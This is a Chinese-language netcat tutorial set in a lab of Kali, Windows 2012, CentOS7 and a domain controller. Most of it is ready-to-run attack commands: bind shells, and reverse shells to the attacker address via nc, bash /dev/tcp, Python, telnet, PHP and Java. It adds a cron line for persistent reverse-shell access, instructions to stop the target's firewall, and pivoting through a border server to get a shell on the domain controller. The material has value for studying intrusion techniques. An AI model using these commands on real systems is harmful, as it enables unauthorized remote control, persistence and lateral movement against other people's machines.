文章目录
实验环境
kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
DC(内网地址:10.1.1.2)
1 下载与部署
下载地址:https://github.com/AA8j/SecTools/tree/main/nc
或:
apt install netcat -y
2 使用方法
查看帮助:
nc -h
-d // 后台模式(windows下)
-e filename // 程序重定向
-g gateway // 网关。设詈路由器通信网关,最多可以设詈8个。
-G num // 设置源路由指向器的数量,为4的倍数。
-i secs // 设置时间间隔,以便传送信息及扫描通信端口。
-l // 使用监听模式。
-n // 直接使用IP地址,不通过域名服务器。
-o file // 输出文件,把往来传输的数据转换为十六进制字节码后保存在该文件中。
-p port // 设置通信端口。
-r // 随机指定本地与远程主机的通信端口。
-s addr // 源地址,设詈本地主机送出数据包的IP地址。
-t // 应答远程登录。
-u // 使用UDP传输。
-v // 详细输出。
-w secs // 设置超时秒数。
-z // 将输入输出功能关闭,只在扫描通信端口时使用。
案例:
nc -v -z 目标IP 80-200 // 指定端口扫描
nc -nv 目标IP 21 // Banner 抓取
nc -lvnp 4444 // 本地端口监听
nc -nvv 目标IP 4444 // 连接远程主机
2.1 正向shell
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
nc -ldp 4444 -e c:\windows\system32\cmd.exe
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
nc -lvp 4444 -e /bin/sh
kali(攻击机,外网地址:192.168.8.48)
连接windows shell:
nc 192.168.8.56 4444
连接CentOS Shell:
nc 192.168.8.35 5555
# 注意:出现(UNKNOWN) [192.168.8.35] 56 (?) : No route to host的情况可以关闭目标主机防火墙
systemctl stop firewalld
2.2 nc反弹shell
kali(攻击机,外网地址:192.168.8.48)
nc -lvnp 4444
# 监听4444和5555端口
nc -lvnp 5555
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
nc -d 192.168.8.48 4444 -e c:\windows\system32\cmd.exe
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
nc -d 192.168.8.48 5555 -e /bin/sh
2.3 其它反弹shell
2.3.1 Bash反弹shell
kali(攻击机,外网地址:192.168.8.48)
nc -lvnp 7777
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
bash -i >& /dev/tcp/192.168.8.48/7777 0>&1
# TCP
bash -i >& /dev/udp/192.168.8.48/7777 0>&1
# UDP
以tcp为例:
可以写入定时任务维持权限,crontab -e
编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/
目录,ubuntu是/var/spool/cron/crontabs
。
* * * * * /bin/bash -i >& /dev/tcp/192.168.8.48/4444 0>&1
2.3.2 python反弹shell
kali(攻击机,外网地址:192.168.8.48)
nc -lvnp 8888
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.48",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.3.3 Telnet反弹shell
mknod backpipe p && telnet 192.168.8.48 4444 0<backpipe | /bin/bash 1>backpipe
2.3.4 PHP反弹shell
php -r '$sock=fsockopen("192.168.8.48",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
2.3.5 Java反弹shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.8.48/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
2.4 内网转发
假如kali(攻击机,外网地址:192.168.8.48)已经获取到CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)的权限,然后通过CentOS7作为跳板机又获取到了DC(内网地址:10.1.1.2)的权限,但是发现DC不出网,此时就可以通过CentOS7作为代理转发到kali上。
此方法在边界服务器为Linux时实验有效,Windows时失败。
kali(攻击机,外网地址:192.168.8.48)
nc -lvnp 4444
# 首先开启攻击机的监听
DC(内网地址:10.1.1.2)
nc -d -lvnp 4444 -e c:\windows\system32\cmd.exe
# DC 也开启监听
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
nc -v 192.168.8.48 4444 -c "nc -v 10.1.1.2 4444"
成功获取到DC的Shell: